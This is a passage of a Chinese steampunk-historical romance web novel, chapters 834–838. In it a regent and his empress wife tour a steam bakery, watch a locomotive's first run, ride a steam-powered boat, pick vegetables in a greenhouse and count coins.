人们纷纷停下脚步,恭敬地行礼,眼中充满了敬畏与好奇。 他们早已习惯这位退居幕后的女帝偶尔会与摄政王一同出现在京城的新鲜场所,每一次都如同一道移动的皇家风景。 这家新开的“蒸汽烘焙坊”门面宽敞,明亮的玻璃橱窗里陈列着各色造型新颖、色泽诱人的糕点。店主和伙计早已得到通知,诚惶诚恐却又激动万分地跪在门口迎驾。 “都平身吧。”林臻淡淡开口,语气平和却自带威严,“今日只是陪内人过来尝尝新品,不必拘礼,照常营业即可。” “谢王爷!谢娘娘!”店主连忙起身,躬身引着二人入内。 烘焙坊内部宽敞明亮,空气中弥漫着甜腻诱人的奶香与麦香,还有一种淡淡的、属于蒸汽机械的金属气息。 最引人注目的,便是店铺后方那台体积颇大、连接着几条铜管和黄铜阀门的奇特烤炉,此刻正微微轰鸣着,散发出温暖的热量。 慕容嫣一进门,目光便被那台新式烤炉和琳琅满目的糕点吸引住了。她下意识地想快步走过去,却忘了身后那长达两丈的拖尾。 刚迈出一步,裙摆便是一滞。 林臻一直留意着她,见状立刻轻笑一声,手臂微微用力,揽住了她的腰,止住了她的脚步。“慢点儿,”他低头在她耳边轻语,声音里满是纵容的笑意, “拖着这么长的‘尾巴’,还当是以前穿着劲装的时候呢?” 慕容嫣这才反应过来,脸上微红,嗔了他一眼,却乖乖放慢了脚步。 两名随行的侍女立刻上前,小心地替她整理并微微提起拖尾的末端,既保持其铺展的华美仪态,又不至于阻碍行走。 这已成为她穿这身凤袍出行时的标准流程。 林臻陪着她走到玻璃柜台前,里面陈列着各式各样的糕点:蓬松的金黄色海绵蛋糕、点缀着鲜奶油的泡芙、酥皮层次分明的蛋挞、还有做成各种可爱形状的饼干… “每样都尝尝?”林臻看她眼睛发亮的样子,提议道。 慕容嫣却摇了摇头,指着其中一款洒着细密糖粉、看起来洁白如雪、造型简约的圆形蛋糕:“先要这个。” 她又指向另一款有着焦糖色泽、淋着巧克力酱的, “还有这个。” 选择果断,尽显她一贯的利落风格。 “好。”林臻对店主点头示意。 很快,两份精致的糕点和新沏的花香红茶便被送到了店内特意为他们清出的一张雅座上。 慕容嫣优雅地坐下,那宽大的裙摆和长长的拖尾自然铺陈在座椅周围,如同盛开的黑色花朵。 她先拿起银质小勺,舀了一勺那洒满糖粉的雪白蛋糕,小心地送入口中。 细腻的口感、甜而不腻的奶油与松软的蛋糕胚瞬间在口中融化,伴随着一股浓郁的奶香和恰到好处的甜味。 “嗯!”她惊喜地睁大了眼睛,看向林臻,用力点头,“好吃!比御膳房做的更…更…”她似乎在寻找合适的词,“更轻盈!” 林臻笑着看她满足的模样,自己也尝了尝另一款巧克力蛋糕,点头认可:“火候控制得确实不错。” 慕容嫣吃得开心,一小口接着一小口,嘴角不小心沾上了一点洁白的糖粉。她自己并未察觉,那一点白在她嫣红的唇边格外显眼。 林臻看着,眸色微微一深。他抽出随身携带的、用软棉布制成的手帕,倾身过去,极其自然地、温柔地替她拭去那点糖粉。 他的动作轻柔,指尖隔着布料仿佛无意地擦过她的唇角。 慕容嫣微微一愣,抬眸对上他近在咫尺的、含笑的深邃眼眸,脸颊倏地泛起红晕,如同抹上了最好的胭脂。 她下意识地轻轻舔了一下刚刚被他擦拭过的唇瓣,这个无意识的小动作却显得格外诱人。 周围侍立的店主伙计早已识趣地低下头,眼观鼻鼻观心。侍女们也微微垂眸,嘴角却忍不住悄悄上扬。 “好…好吃嘛…”慕容嫣被他看得有些不好意思,小声嘟囔着,试图用吃东西来掩饰心跳加速,又挖了一勺蛋糕,却差点又送到鼻子上。 林臻低笑出声,不再逗她,以免他的女帝陛下真要羞得躲进他怀里。他转而拿起一块造型别致的小饼干递给她:“尝尝这个,据说叫‘猫舌饼’。” 慕容嫣接过来,好奇地打量着,小心地咬了一口,口感酥脆,带着浓郁的黄油香。“也好吃。” 她眯起眼,像只被顺毛抚摸的猫咪,满足地晃了晃脑袋,发髻上的步摇随之轻轻晃动。 她吃得开心,也不忘分享,将自己觉得好吃的糕点推到林臻面前,非要他也尝尝。两人就这样坐在弥漫着香甜气息的烘焙坊里,分享着糕点,低声交谈,偶尔相视而笑。 阳光透过玻璃窗,洒在她玄黑的凤袍和他靛蓝的工装上,洒在那些精致的点心和氤氲的红茶热气上,构成一幅无比温馨的画面。 那长达两丈的华丽拖尾,此刻静静地铺在地上,仿佛只是这温馨画面里最奢华的一道背景,衬托着中心那双璧人的甜蜜。 最终离开时,慕容嫣心满意足,不仅打包了数种她喜爱的糕点,还兴致勃勃地隔着玻璃观摩了一会儿那台蒸汽烤炉的工作过程,并再次对林臻的“奇思妙想”表示了高度的赞赏和崇拜。 回程的马车上,她靠在林臻肩头,把玩着他工装上的铜质纽扣,语气慵懒而幸福:“夫君,下次…我们再去试试别的吧?听说城南开了家能用蒸汽机摇出来的冰淇淋?” “好。”林臻揽着她的肩,答得毫不犹豫,“你想去哪里,想吃什么,我都陪你。” 马车轻晃,载着满室的甜香和依偎的两人,驶向家的方向。那袭华丽的黑色凤袍拖尾,在车厢内柔顺地蜿蜒着,如同他们绵长而幸福的日常,看不到尽头。 第835章 腾龙一号 深秋的午后,天高云淡,阳光金灿灿地洒满摄政王府的庭院,却已然带上了几分清冽的味道。暖阁内,慕容嫣端坐在镜前,由侍女小心翼翼地为她整理最后一道妆饰。 那身玄黑色的凤袍已然加身,暗金色的凤凰暗纹在明亮的光线下仿佛要活过来振翅高飞,宽大袖摆上的云纹刺绣繁复而精致,每一针每一线都彰显着无与伦比的皇家气度。 最为瞩目的,依旧是那长达一丈的拖尾,如同墨色星河般铺陈在光滑如镜的金丝楠木地板上,华贵至极,也隆重至极。 两名侍女正跪伏在地,极其小心地用特制的、衬着柔软丝绸的刷子,轻轻拂去拖尾边缘可能沾染的微尘,确保其每一寸都保持着极致的洁净与光泽。 林臻斜倚在一旁的门框上,依旧是那身便于行动的靛蓝色工装,与慕容嫣的盛装形成了惯有的鲜明对比。 他嘴角含着一丝笑意,看着侍女们如临大敌般伺候那件凤袍的拖尾,忍不住打趣道:“我家嫣儿每次出门,这阵仗都快赶上祭天大典了。” 慕容嫣从镜中睨了他一眼,眼波流转间自带一股娇嗔的风情:“夫君莫非是嫌我打扮得久了?” 她微微抬起下巴,指尖拂过鬓边一支赤金点翠凤凰步摇,“还不是为了不堕了你摄政王的颜面。” “岂敢岂敢。”林臻笑着走上前,挥手让侍女们暂退一旁。 他亲自拿起桌上一顶小巧的、同样以玄黑为底、金凤为饰的轻便冠冕,仔细地为她簪在已然梳得一丝不苟的发髻上, “是我迫不及待想带嫣儿去看新玩意儿,心急了。” 他的动作温柔而专注,指尖偶尔擦过她的耳廓,带来细微的痒意。 慕容嫣享受着夫君难得的伺候,嘴角弯起甜蜜的弧度:“到底是什么新玩意儿?值得夫君这般郑重其事,非要我穿上这全套的行头?” 昨日林臻便提过,今日要带她去一个地方,看一样“会跑的铁家伙”,还特意嘱咐要穿凤袍,以示重视。 林臻为她簪好冠冕,退后一步仔细端详。 盛装下的慕容嫣,美得惊心动魄,威严与艳冶完美融合,让人移不开眼。 他眼中满是欣赏与自豪,牵起她的手:“到了便知。保证我的女帝陛下会喜欢。” 马车早已备好,依旧是那辆宽敞豪华的鎏金马车。 上车时,林臻细心地先扶慕容嫣坐稳,然后亲手将那两丈长的沉重拖尾一圈圈小心地、整齐地捧起,安置在车厢内特制的软垫上,以免褶皱磨损。这套动作他已做得十分熟练。 马车并未驶向繁华市井,而是出了内城,朝着京郊新兴的工业区行去。越靠近工业区,窗外的景象便越发不同。 传统的田舍村落逐渐被整齐划一的厂房、高耸的烟囱和纵横交错的轨道所取代。 空气中弥漫着煤炭燃烧和金属摩擦的特有气味,却并不令人反感,反而充满了蓬勃的生机与力量感。 慕容嫣好奇地望着窗外飞速掠过的景象,这是她的江山在她夫君手中蜕变出的新模样,每一次看都觉震撼与新奇。 最终,马车在一片戒备森严、异常开阔的场地外停下。 场地中央,铺设着两条亮闪闪的、笔直向远方延伸的钢轨! 早已等候在此的工部官员与工程师们跪倒一片:“恭迎摄政王殿下!恭迎娘娘!” 林臻携慕容嫣下车。 当慕容嫣站定,那长达两丈的玄黑凤袍拖尾再次如墨色瀑布般倾泻于地,落在冰冷坚硬的钢轨枕木之间,极致的华贵与冰冷的工业造物碰撞出一种奇异而震撼的美感。 秋风拂过,吹动她宽大的袖摆和裙袂,猎猎作响,更显其姿容绝世,威仪天成。 “平身。”林臻抬手,目光却投向轨道远方,眼中闪烁着兴奋的光芒,“都准备好了?” “回殿下,一切就绪!腾龙一号已预热完毕,随时可演示!”一名工程师激动地回话,声音因紧张而微微发颤。 慕容嫣顺着林臻的目光望去,只见轨道尽头,一个庞大的、黝黑的、仿佛由钢铁巨兽拼接而成的物体,正静静地卧在那里,它的前方突出一个圆形的车灯,如同巨兽的独眼,车身上镶嵌着鎏金的龙纹徽记,正喷吐着淡淡的白色蒸汽,发出低沉而有力的呼吸声——那便是火车头! “夫君,那是…”慕容嫣不禁握紧了林臻的手,凤眸中充满了惊叹。 虽然早已听过林臻的描述,但亲眼见到这庞然大物,感受其沉默而磅礴的力量,仍是截然不同的体验。 “这就是火车,我叫它腾龙一号。”林臻的声音带着难以抑制的骄傲,他指着那钢铁巨兽,“它将能拉动数十节车厢,日行千里,从此我大乾的物资调配、兵员运输、百姓出行,都将发生天翻地覆的变化!” 正说着,只听“呜——!”一声高昂汽笛长鸣,撕裂长空! 慕容嫣被这突如其来的巨大声响惊得微微一颤,下意识地朝林臻身边靠去。 林臻立刻揽住她的肩膀,将她护在身侧:“别怕,这是它要启动的信号。” 伴随着越来越急促的“哐当哐当”声和更加浓郁的蒸汽喷发,“腾龙一号”这个钢铁巨兽开始缓缓移动,巨大的钢铁车轮精准地压过钢轨的连接处,发出沉重而有节奏的轰鸣。 它的速度逐渐加快,沿着笔直的轨道向前奔驰,力量感与速度感扑面而来,大地仿佛都在随之轻微震动。 慕容嫣目不转睛地看着,红唇微张,满是震撼。 那钢铁造物奔跑的气势,远超任何骏马,充满了令人心悸的工业力量之美。 她仿佛看到了无尽的粮食、矿产、军队、商旅,正随着这铁龙的奔驰而在这片土地上高速流动起来! 秋风拂起她鬓边的发丝,也吹动了那华丽铺地的两丈拖尾,玄黑色的袍角在风中微微翻卷,与那喷吐着白烟、铿锵前行的钢铁巨龙构成了一幅永恒的画面——古典的极致华美与工业的磅礴力量,在此刻完美交融。 她不由自主地向前跟了两步,似乎想看得更清楚些,却忘了身后的拖尾。 沉重的裙摆被轨道上的螺栓稍稍绊了一下,让她身形一个趔趄。 “小心!”林臻一直留意着她,手臂迅速用力,稳稳地将她圈回怀里,语气带着几分后怕与无奈,“看着点脚下,我的陛下。这铁家伙虽好,可没长眼睛,不会给你这凤袍让路。” 慕容嫣惊魂甫定,靠在他温暖的怀里,听着他沉稳的心跳和带着宠溺的责备,脸颊微红,却理直气壮地小声道:“是它…是它跑起来太吓人了…” 说着,目光却又忍不住追随着那远去的火车头,眼中光彩熠熠,“夫君,它真厉害!比你说的还要厉害!” 林臻低头看着她兴奋得泛红的脸颊,如同染上了最好的胭脂,忍不住笑道:“这下知道为何非要你穿这身来了吧?唯有我大乾女帝的凤仪,才配得上为这国之重器首次正式运行见证。” 慕容嫣心中满是澎湃的自豪与激动,她转过身,也顾不得还有许多臣工在场,伸出双臂环住林臻的脖颈,语气充满了崇拜与爱意:“夫君最厉害了!这都是你带来的!” 她甚至踮起脚尖,飞快地在他脸颊上亲了一下。 臣工们立刻齐刷刷地低下头,非礼勿视。 林朗笑着接受了这个热情的奖励,搂着她的腰,指向轨道远方:“待线路网络建成,我带你去江南,乘着这火车,看遍万里江山。如何?” “一言为定!”慕容嫣用力点头,眼中充满了对未来的无限憧憬。 她仿佛已经看到,自己穿着这身凤袍,与林臻并肩站在飞驰的火车上,窗外是她和他共同缔造的、前所未有的锦绣河山。 夕阳开始西下,为冰冷的钢轨、庞大的火车和相拥的两人都镀上了一层温暖的金晖。 那袭长达两丈的玄黑凤袍拖尾,依旧静静地铺在轨道旁,如同一条通往未来的墨色道路,坚实,而充满希望。 第836章 蒸汽动力画舫 京城的秋意愈发浓重,金黄的银杏与炽红的枫叶交织,将这座沐浴在工业革命新风中的古都点缀得如诗如画。 摄政王府内,慕容嫣对镜理妆,神情专注。 今日林臻说要带她去一个“水波不惊,适合偷懒”的地方,她自是欣然应允,并再次换上了那身极致隆重的行头。 玄黑色的苏绣凤袍加身,暗金色的凤凰纹路在透过雕花窗棂的日光下流转着神秘而威严的光泽。 宽大的袖摆垂落,金线绣出的云纹繁复层叠,随着她的动作泛着细微的光晕。两名侍女正跪伏于地,极其小心地将那长达一丈的拖尾最后一段抚平。 这拖尾以最上等的墨色云锦为底,用掺了真金白银的金银线绣出大片的缠枝莲和凤凰羽翼图案,其沉重与华美,寻常人根本无法驾驭。 唯有慕容这般身量高挑、气质雍容者,方能将其穿出睥睨天下的气势。 林臻步入内室,依旧是一身利落的靛蓝工装,袖口微卷,露出结实的小臂。他看到盛装完毕的慕容嫣,眼中闪过毫不掩饰的惊艳与自豪。 “我的嫣儿,无论看多少次,都觉惊艳。”他走上前,很自然地伸手,替她正了正鬓边那支振翅欲飞的金凤衔珠步摇。 慕容嫣唇角微扬,享受着他的赞美与伺候,抬手轻轻抚过胸前一枚龙眼大小的东珠纽扣,语气带着几分娇慵:“夫君今日要带我去何处偷懒?若是不够闲适,可对不起我这般打扮。” 林臻轻笑,握住她抚弄纽扣的手,放在掌心捏了捏:“保证让你满意,懒到骨头酥。” 他说着,另一只手已熟练地探至她身后,小心地揽住那沉重拖尾的根部,微微用力,替她分担一些重量,“走吧,车驾已备好。” 马车并未驶向繁华街市,也未前往城郊工业区,而是兜转至京城西侧,一片守卫森严、环境清幽的皇家园林。园内有一片极大的湖泊,名曰“镜湖”,因其水面常年平静如镜而得名。 此刻秋阳正好,湖面倒映着蓝天白云和四周斑斓的秋色,果然美不胜收。 然而,最引人注目的,却是停泊在湖边汉白玉码头的一艘船。 这船体型不大,却极为精巧,通体以名贵木材打造,雕梁画栋,漆色明亮。 但与传统画舫不同的是,它没有高高的桅杆和帆布,而是在船尾部分,安装着一个造型奇特的黄铜机械装置,此刻正安静地卧在那里,在阳光下闪烁着金属的光泽。 “这是…”慕容嫣被林臻搀扶着走下马车,目光立刻被那艘特别的船吸引。 “新造的小玩意儿,蒸汽动力画舫。”林臻笑着解释,“无需风帆,无需桨橹,烧煤即可,平稳无声,最适合游湖赏景。” 慕容嫣眼眸一亮:“又是夫君的巧思?” “一点小小的应用。”林臻语气谦逊,但眼中的得意却掩不住。他扶着她,小心地踏上通往画舫的跳板。 登船的过程颇需小心。 慕容嫣微提裙摆,在林臻的搀扶和身后两名侍女的协助下,缓缓迈步。那长达两丈的拖尾如同有了自己的生命,在身后蜿蜒流动,墨色的锦缎与金色的绣纹在汉白石码头上拖曳而过,华美得令人窒息。 侍女需得全程小心托着拖尾的中后段,既不能让其沾染尘埃,更要防止其被跳板或船沿勾缠。 终于安然踏上画舫甲板,慕容嫣松了口气。 画舫内部装饰得极为舒适,铺设着厚软的地毯,设有软榻、案几,甚至还有一个固定的小型暖炉。 林臻扶着她走到船头特意设置的宽大软椅前,那软椅竟似龙椅改制,铺着明黄软垫,靠背雕龙,与她一身凤袍相得益彰。 慕容嫣优雅落座,那巨大的拖尾便自然而然地铺陈在甲板之上,如同骤然绽放的一朵极致华丽的墨色牡丹,几乎覆盖了小半个船头甲板。 秋日阳光洒下,袍角金银丝线反射出碎金般的光芒,与湖面粼粼的波光交相辉映。 林臻并未坐下,而是走到船尾,对等候在那里的工匠点了点头。 那工匠恭敬行礼,然后熟练地操作起来。 只听一阵轻微的阀门转动声和蒸汽喷嘶声,船尾那黄铜机械装置开始缓缓转动,带动水下隐藏的螺旋桨。 画舫平稳地、几乎无声无息地离开了码头,向着镜湖中心滑去。 果然如林臻所言,没有桨橹欸乃之声,只有极其细微的流水声和几乎可忽略不计的机械嗡鸣,平稳得如同在镜面上滑动。 慕容嫣惊讶地睁大了美眸。 她感受着微风拂面,看着两岸秋色如画卷般缓缓展开,倒映在清澈如镜的湖水中,天地间仿佛只剩下这一叶扁舟和舟上的彼此。 这种宁静而新奇的体验,让她心旷神怡。 “夫君,快来!”她侧过头,朝站在船尾的林臻招手,脸上的笑容明媚纯粹,毫无平日里的威仪,只剩下全然的欣喜。 林臻交代了工匠几句,便笑着走了过来。 他并未去坐旁边的椅子,而是极其自然地走到慕容嫣的软椅旁。 慕容嫣嫣然一笑,非常默契地微微侧身,给他让出一点位置。 林臻便顺势坐了下来,这宽大的软椅容纳两人虽有些拥挤,却正合他意。 他伸手,熟练地揽住慕容嫣的肩头,让她更舒服地靠在自己怀里。 慕容嫣顺从地依偎过去,脑袋枕着他的肩膀,目光依旧流连于湖光山色之间。 那袭华贵沉重的凤袍拖尾,有一部分堆叠在她脚边,更有一部分铺展到了林臻的腿旁,与他靛蓝色的工装裤脚交织在一起。 “喜欢吗?”林臻低头,下颌轻轻蹭着她发顶的珠翠,声音温柔。 “喜欢。”慕容嫣用力点头,仰起脸看他,眼中倒映着秋水与阳光,亮晶晶的,“太舒服了,好像整个世界都安静了。” 她说着,像是想起了什么,从宽大的袖笼里摸出一个小巧精致的锦囊,从里面倒出几枚亮闪闪的、印着她头像的铜币,献宝似的捧到林臻眼前, “夫君你看,我带出来了。在这里数钱,感觉肯定特别好!” 林臻看着她孩子气的举动,忍俊不禁,低头在她光洁的额头上吻了一下:“我的小财迷陛下,真是到哪里都忘不了你的宝贝。” 慕容嫣娇哼一声,将铜币收回锦囊,重新塞回袖子,然后安心地靠回他怀里,小声嘟囔:“这是江山稳固的象征嘛…” 画舫在镜湖上平稳地绕行。偶尔有微风掠过,吹皱一池春水,也轻轻拂动慕容嫣宽大的袖摆和裙袂,以及那铺满甲板的墨色拖尾边缘,上面的金绣凤凰羽翼仿佛在随风轻轻颤动。 林臻从旁边案几上拿起温着的酒壶,倒了一小杯暖好的桂花酿,递到慕容嫣唇边。 她就着他的手,小口啜饮,温热的酒液驱散了秋水的微寒,甜香馥郁。 喝了几口,她似乎有些倦了,将身子更沉地偎进林臻怀里,打了个小小的哈欠,眼睫垂下,像是被这温暖的阳光、舒适的怀抱和平稳的航行催生了睡意。 林臻调整了一下姿势,让她睡得更舒服,拉过一旁叠着的绒毯,轻轻盖在她身上,仔细地掖好,连那铺散开的拖尾也细心盖住了一角,免得被水汽沾染。 他就这样抱着她,任由画舫在镜湖上静静飘荡。低头看去,怀中人容颜绝世,哪怕在睡梦中嘴角也带着一丝满足而恬静的笑意。 那身象征至高权力的玄黑凤袍,此刻仿佛也只是她的一件寝衣,衬托得她睡颜更加安宁。 阳光暖暖,水波轻轻。 时间仿佛在这一刻放缓了脚步,只想停留在这墨色凤袍与靛蓝工装相互依偎的温暖画面里。 第837章 暖房 时令已入初冬,京城落了第一场细雪,碎盐似的雪沫子沾湿了青瓦飞檐,给恢弘的摄政王府平添了几分清寒。 然而,在这片寒意之中,王府深处却藏着一处温暖如春的所在——一座全由透明玻璃构建的巨大温室。 温室紧邻着暖阁,是林臻特意为慕容嫣设计建造的。采用最新的钢结构与强化玻璃技术,地下铺设了迂回的蒸汽管道,确保即便室外银装素裹,室内依旧温暖湿润,四季常青。 此刻,慕容嫣正立于这片葱茏绿意与姹紫嫣红之中。 她依旧穿着那身标志性的玄黑色凤袍,袍摆上暗金色的凤凰纹样在透过玻璃顶棚的明亮天光下,愈显尊贵神秘。 宽大的袖口被她用一对精致的金丝缠腕束起少许,便于活动,却依旧难掩其雍容气度。 而最为引人注目的,仍是那长达一丈的拖尾。 此刻,这墨色锦缎金银绣线的华美长尾,并未铺陈在冰冷的地面,而是蜿蜒逶迤在温室松软肥沃的黑色土壤之上,掠过青翠的叶片与娇嫩的花瓣,甚至偶尔轻缠过支撑植株的竹架。 极致的奢华与最原始的泥土、生命力的绿意形成了惊人又和谐的对比。 一名侍女正小心翼翼、远远地跟着,确保那珍贵的拖尾不会被植物的枝杈勾丝或过多地沾染泥污。 林臻站在一畦长势喜人的辣椒旁,手里拿着一个小巧的银质喷壶,正仔细地给植株喷洒清水。他依旧是一身便于活动的靛蓝色工装,裤脚甚至沾了些许泥点,与身旁盛装华服、宛如神女临凡的慕容嫣,仿佛处于两个世界,却又奇异地融为一体。 “夫君,你看这个!”慕容嫣的声音带着发现宝藏的欣喜。 她微微俯身,小心地用手指托起一枚已经转为深红色的、形似小灯笼的辣椒果实。 那果实饱满可爱,在她白皙的指尖映衬下,更显红艳。 “它是不是熟了?我记得你说过,变红就可以摘了?” 她俯身时,那沉重的拖尾随之移动,扫过几片矮牵牛的叶子。 林臻闻声抬头,看到她的动作,不禁莞尔:“慢点,我的陛下,小心裙摆。” 他放下喷壶,走到她身边,先是从袖中抽出一方干净软布,细心地将她指尖那枚红椒接过,擦拭掉上面可能存在的细微尘土,然后才就着她的手仔细看了看: “嗯,熟了。这种辣椒味道最足,我家嫣儿眼力真好。” 得到夸奖,慕容嫣立刻眉开眼笑,仿佛做了什么了不得的大事。 她兴致勃勃地指向旁边另一株:“那这些青的呢?还要等多久?” “青的也可以吃,别有一番风味。若是想等它变红,还得些时日。”林臻耐心解释,很自然地伸手,替她将一缕滑落颊边的青丝挽到耳后,指尖不经意擦过她细腻的耳垂。 慕容嫣微微缩了缩脖子,感觉被他碰过的地方有些发烫。 她为了掩饰瞬间的羞赧,弯下腰,又想去摘那枚青椒。 “我来。”林臻按住她的肩膀,阻止了她大幅度的动作——那两丈长的拖尾可经不起在泥地里来回拖曳。 他亲自俯身,手法熟练地掐下那枚青椒,又摘了几枚熟透的红椒,一并放入旁边侍女递过来的精致竹篮里。 竹篮里已经铺上了柔软的丝绸,里面躺着几根翠绿的黄瓜、几个圆润的番茄,还有几颗饱满的草莓,都是他们刚才的“战利品”。 这些反季节的蔬果,在此时的大乾,堪称价比黄金,是唯有在这座蒸汽温室中才能孕育的奇迹。 慕容嫣看着篮中色彩缤纷的收获,成就感油然而生。 她甚至忘了保持女帝的威仪,轻轻拍手,像个得到心爱玩具的孩子:“这么多!晚上让膳房做辣子鸡丁!凉拌黄瓜!糖拌番茄!还有…” 她目光落在那些红艳艳的草莓上,舔了舔唇,看向林臻,眼神亮晶晶的,“现在就想吃!” 林臻哪能拒绝她这般模样,笑着点头,挑了一颗最大最红的草莓,用清水冲洗了一下,递到她唇边:“尝尝,看甜不甜。” 慕容嫣就着他的手,小口咬了下去。 酸甜清冽的汁液瞬间在口中爆开,带着冬日里难得的鲜果芬芳,让她满足地眯起了眼睛。 “甜!” 她含糊不清地点头,将剩下的半颗也吃下,柔软的唇瓣不经意间擦过林臻的指尖。 林臻眸光微深,收回手,指尖上仿佛还残留着她唇瓣的柔软触感和草莓的清甜。 他看着她满足的吃相,笑道:“喜欢就好。这温室总算没白建。” 慕容嫣咽下草莓,忽然想起什么,从宽大的袖笼里摸索着。 林臻好笑地看着她,果然,她又摸出了那个装着几枚特制铜币的小锦囊。 “夫君你看,”她拈出一枚格外闪亮的铜币,对着顶棚的光线比了比,又指了指篮子里那些鲜嫩的蔬果,一本正经地说,“这些,是不是能换好多好多这样的钱?” 林臻忍俊不禁,伸手将她揽入怀中,也不管自己工装上的些许泥土是否会沾染她的凤袍。 他低头,额头抵着她的额头,鼻尖蹭着鼻尖,笑声低沉而愉悦:“我的小财迷陛下,这些可是无价之宝,多少钱都换不来的。因为…” 他故意拖长了语调,看着近在咫尺的、她微微睁大的美眸,“…是我和嫣儿一起种出来的。” 温热的气息交织,带着草莓的清甜和泥土的芬芳。 慕容嫣的脸颊瞬间飞上红霞,如同熟透的番茄。 她羞赧地垂下眼睫,长而密的睫毛像两把小扇子,轻轻颤动。 她下意识地想躲,却被林臻搂得更紧。 那袭长达两丈的墨色拖尾,因着她被揽入怀中的动作,在绿意盎然的泥地上蜿蜒出一个更复杂的弧度,金银绣线在绿叶掩映下闪烁不定。 “夫君…”她软软地唤了一声,声音糯得能滴出水来。 没有多余的话,却包含了无尽的依赖与撒娇。 林臻心头发热,正欲低头吻住那两瓣诱人的红唇,不远处却传来一声轻微的、故意的咳嗽声。 两人同时一怔,慕容嫣立刻像受惊的小鹿般从林臻怀里弹开,脸上红晕未退,却已迅速端起了女帝的架子,只是那闪烁的眼神和微乱的呼吸泄露了她的心虚。 林臻无奈地回头,看到温室入口处,王府总管正垂手躬身而立,脸上带着憋笑的表情:“启禀王爷,娘娘,晚膳已备好。工部李大人亦有急事求见王爷,已在书房等候。” 好事被打断,林臻有些不爽,但听到工部急事,还是点了点头:“知道了。” 他转回身,替慕容嫣理了理微微有些凌乱的衣襟和发丝,又伸手,仔细地帮她将束起的袖口解开整理好,恢复那宽大飘逸的形态。 然后,他极其自然地俯身,手臂穿过她腿弯和后背,小心地避开那拖尾的重心,一个用力,竟将她打横抱了起来。 “呀!”慕容嫣轻呼一声,下意识地搂住他的脖子,“夫君?” “地上凉,还有泥。”林臻说得理所当然,抱着她稳步向温室门口走去,“而且,这尾巴太长了,抱着走省事。” 慕容嫣将滚烫的脸颊埋进他带着淡淡机油味和泥土清香的颈窝,嘴角却忍不住高高扬起。 那长达两丈的墨色拖尾,此刻如同一条华丽的河流,蜿蜒流淌在林臻的身后,掠过那些生机勃勃的植株,最终消失在温室的出口。 身后,是温暖如春、硕果累累的奇异世界。 身前,是抱着她、走向烟火人间的坚实怀抱。 慕容嫣觉得,这大概就是世上最极致的幸福了。 第838章 数草莓 夜幕低垂,星子如碎钻般缀满丝绒般的夜空。 摄政王府内灯火通明,玻璃窗内透出的暖黄光芒与廊下新式的电石灯光交织,驱散了冬夜的寒寂。 寝殿之内,地龙烧得正旺,温暖如春,空气中弥漫着淡淡的安神香与慕容嫣身上特有的清雅冷香。 慕容嫣并未卸下白日里的庄重华服。 她依旧穿着那身玄黑色的苏绣凤袍,只是卸去了沉重的冠冕,如云青丝仅用一支通透的白玉簪松松绾起,几缕发丝垂落颈侧,平添了几分慵懒风情。 袍服在明亮的烛火与电石灯下,更显深邃墨色,其上暗金凤凰纹路仿佛在光影间悄然游动。 宽大的袖摆垂落,掩住半截如玉皓腕。 而最为瞩目的,便是那严格按照要求、长达一丈的拖尾。 此刻,这墨色锦缎金银绣线的华美长尾,并未铺陈于冰冷地面,而是如同一条温顺的墨龙,蜿蜒逶迤在寝殿内厚软昂贵的波斯地毯之上,从梳妆台前一路延伸至窗边的软榻旁,极尽奢华,也无声地彰显着女主人的无上尊荣。 林臻已换下白日那身工装,穿着一身深紫色的常服,更衬得他身姿挺拔,气质温和中带着不容忽视的威仪。 他正坐在窗边的软榻上,就着明亮的灯光翻阅一本关于蒸汽机改进原理的图纸,眉宇间带着专注的思索。 慕容嫣则坐在梳妆台前,手中拿着那面清晰无比的水银镜,却没有照自己,而是微微侧身,借着镜面的反射,看着榻上专注的夫君。 镜中映出他英挺的侧脸和微蹙的眉头,她看得有些出神,嘴角不自觉地带上一丝温柔的笑意。 看了一会儿,她放下镜子,忽然轻声开口:“夫君。” “嗯?”林臻从图纸中抬起头,目光投向镜中的她,柔和下来,“怎么了,嫣儿?” 慕容嫣却没有立刻回答,她起身,赤着双足踩在柔软的地毯上,向着软榻走去。 那长达一丈的拖尾随之在她身后缓缓流动,墨色缎面拂过地毯,发出极其细微的沙沙声,在寂静的夜里显得格外清晰。 她走到榻边,并未坐下,而是微微转身,背对着林臻,轻声要求:“夫君,帮我把后面的簪子取了,好不好?头发绾着,有点累了。” 林臻放下图纸,唇角微扬。 他自然明白这只是她想要亲近的借口。 他欣然从命,起身站到她身后,动作轻柔地拔下那支白玉簪。 瞬间,如瀑的青丝倾泻而下,披散在她肩背,也落了些许在那玄黑的凤袍之上,黑白分明,更显诱人。 发簪取下,慕容嫣却并未离开,反而就势向后,轻轻靠进林臻的怀里。 林臻顺势张开手臂,将她整个圈入怀中,下颌轻轻抵着她的发顶,呼吸间全是她发丝的清香。 “累了?”他低声问,声音在寂静的夜里显得格外低沉悦耳。 “嗯…”慕容嫣在他怀里轻轻点头,声音软糯,“看夫君看书,看累了。” 这毫无道理的娇嗔让林臻低笑出声,胸膛震动,传递到紧贴着他的慕容嫣背上。 他收紧了手臂,将她抱得更稳:“那为夫岂不是罪过大了?” 慕容嫣在他怀里转过身来,仰起脸看他,烛光在她清澈的眸子里跳跃,映出他的身影。 她伸出手指,轻轻点了点他手中图纸上那些复杂的机械图样:“夫君整日就琢磨这些铁疙瘩,都不琢磨我了。” 语气里带着明显的、被宠溺之人特有的小小抱怨。 林臻抓住她点着图纸的手指,握在掌心,低头看她,眼中满是促狭的笑意:“怎么没琢磨?我正琢磨着,怎么改进一下暖房的蒸汽管道,让我的嫣儿冬天也能更快吃到草莓。” 慕容嫣闻言,眼睛顿时一亮,那点故作的小抱怨立刻烟消云散:“真的?” 但她随即又想起什么,微微嘟起唇,“可是草莓好吃,也不能当钱数呀。” 说着,她竟真的从宽大的袖笼里摸出了那个沉甸甸的小锦囊,里面装着几十枚她最爱的、印着自己头像的铜币。 她将锦囊塞到林臻手里,然后拉着他的手走到地毯中央,自己先优雅地侧身坐了下来,那长达一丈的拖尾自然在她身周铺展开一个优美的墨色扇形。 “夫君陪我数这个。”她拍了拍身边的地毯,仰头看着他,眼神充满期待,像个想要玩伴的孩子。 林臻看着一地奢华和她眼中纯粹的期待,心中软成一片。他从善如流地撩起衣摆,毫不在意地席地而坐,坐在她身边,紧挨着那墨色的拖尾。 他将锦囊里的铜币倒出,亮闪闪的铜币在温暖的光线下闪烁着诱人的光泽,大部分都映着慕容嫣绝美的侧面浮雕。 “好,陪你数。”他笑着,随手拿起一枚,“一。” 慕容嫣立刻拿起另一枚,接口道:“二。” “三。” “四。” “五…” … 